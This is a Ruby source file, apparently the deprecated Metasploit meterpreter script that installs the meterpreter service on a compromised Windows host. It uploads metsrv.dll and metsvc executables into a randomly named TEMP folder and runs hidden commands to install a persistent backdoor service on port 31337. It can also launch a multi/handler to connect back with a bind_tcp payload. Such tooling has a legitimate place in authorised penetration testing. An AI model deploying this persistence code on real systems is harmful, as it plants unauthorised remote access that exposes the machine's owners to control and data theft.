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##
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# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
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# If you'd like to improve this script, please try to port it as a post
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# module instead. Thank you.
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##
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#
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# Meterpreter script for installing the meterpreter service
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#
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session = client
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#
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# Options
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#
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opts = Rex::Parser::Arguments.new(
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  "-h"  => [ false,  "This help menu"],
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  "-r"  => [ false,  "Uninstall an existing Meterpreter service (files must be deleted manually)"],
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  "-A"  => [ false,  "Automatically start a matching exploit/multi/handler to connect to the service"]
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)
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# Exec a command and return the results
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def m_exec(session, cmd)
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  r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})
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  b = ""
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  while(d = r.channel.read)
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    b << d
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  end
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  r.channel.close
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  r.close
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  b
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end
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#
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# Default parameters
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#
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based    = File.join(Msf::Config.data_directory, "meterpreter")
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rport    = 31337
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install  = false
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autoconn = false
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remove   = false
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if client.platform == 'windows'
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  #
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  # Option parsing
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  #
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  opts.parse(args) do |opt, idx, val|
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    case opt
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    when "-h"
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      print_line(opts.usage)
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      raise Rex::Script::Completed
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    when "-A"
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      autoconn = true
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    when "-r"
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      remove = true
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    end
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  end
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  #
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  # Create the persistent VBS
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  #
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  if(not remove)
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    print_status("Creating a meterpreter service on port #{rport}")
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  else
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    print_status("Removing the existing Meterpreter service")
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  end
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  #
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  # Upload to the filesystem
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  #
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  tempdir = client.sys.config.getenv('TEMP') + "\\" + Rex::Text.rand_text_alpha(rand(8)+8)
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  print_status("Creating a temporary installation directory #{tempdir}...")
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  client.fs.dir.mkdir(tempdir)
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  # Use an array of `from -> to` associations so that things
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  # such as metsrv can be copied from the appropriate location
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  # but named correctly on the target.
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  bins = {
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    'metsrv.x86.dll'    => 'metsrv.dll',
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    'metsvc-server.exe' => nil,
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    'metsvc.exe'        => nil
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  }
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  bins.each do |from, to|
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    next if (from != "metsvc.exe" and remove)
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    to ||= from
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    print_status(" >> Uploading #{from}...")
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    fd = client.fs.file.new(tempdir + "\\" + to, "wb")
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    path = (from == 'metsrv.x86.dll') ? MetasploitPayloads.meterpreter_path('metsrv','x86.dll') : File.join(based, from)
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    fd.write(::File.read(path, ::File.size(path), mode: 'rb'))
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    fd.close
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  end
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  #
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  # Execute the agent
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  #
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  if(not remove)
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    print_status("Starting the service...")
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    client.fs.dir.chdir(tempdir)
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    data = m_exec(client, "metsvc.exe install-service")
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    print_line("\t#{data}")
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  else
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    print_status("Stopping the service...")
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    client.fs.dir.chdir(tempdir)
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    data = m_exec(client, "metsvc.exe remove-service")
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    print_line("\t#{data}")
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  end
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  if(remove)
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    m_exec(client, "cmd.exe /c del metsvc.exe")
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  end
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  #
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  # Setup the exploit/multi/handler if requested
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  #
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  if(autoconn)
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    print_status("Trying to connect to the Meterpreter service at #{client.session_host}:#{rport}...")
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    mul = client.framework.exploits.create("multi/handler")
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    mul.datastore['WORKSPACE'] = client.workspace
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    mul.datastore['PAYLOAD'] = "windows/metsvc_bind_tcp"
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    mul.datastore['LPORT']   = rport
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    mul.datastore['RHOST']   = client.session_host
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    mul.datastore['ExitOnSession'] = false
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    mul.exploit_simple(
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      'Payload'        => mul.datastore['PAYLOAD'],
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      'RunAsJob'       => true
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    )
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  end
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else
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  print_error("This version of Meterpreter is not supported with this Script!")
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  raise Rex::Script::Completed
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end
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